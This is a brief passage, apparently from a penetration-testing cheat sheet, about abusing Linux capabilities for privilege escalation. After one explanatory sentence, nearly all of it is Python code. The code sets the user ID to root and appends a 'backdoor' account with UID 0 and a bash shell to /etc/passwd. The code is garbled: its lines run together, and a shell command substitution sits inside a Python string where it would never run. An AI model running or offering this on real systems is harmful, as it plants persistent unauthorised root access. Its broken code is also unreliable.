Linux capabilities split root privileges into smaller units. A binary with specific capabilities can perform privileged operations without being SUID root.
import osos.setuid(0) # if also cap_setuid# Or write directlywith open('/etc/passwd', 'a') as f: f.write('backdoor:$(openssl passwd -1 password):0:0::/root:/bin/bash\n')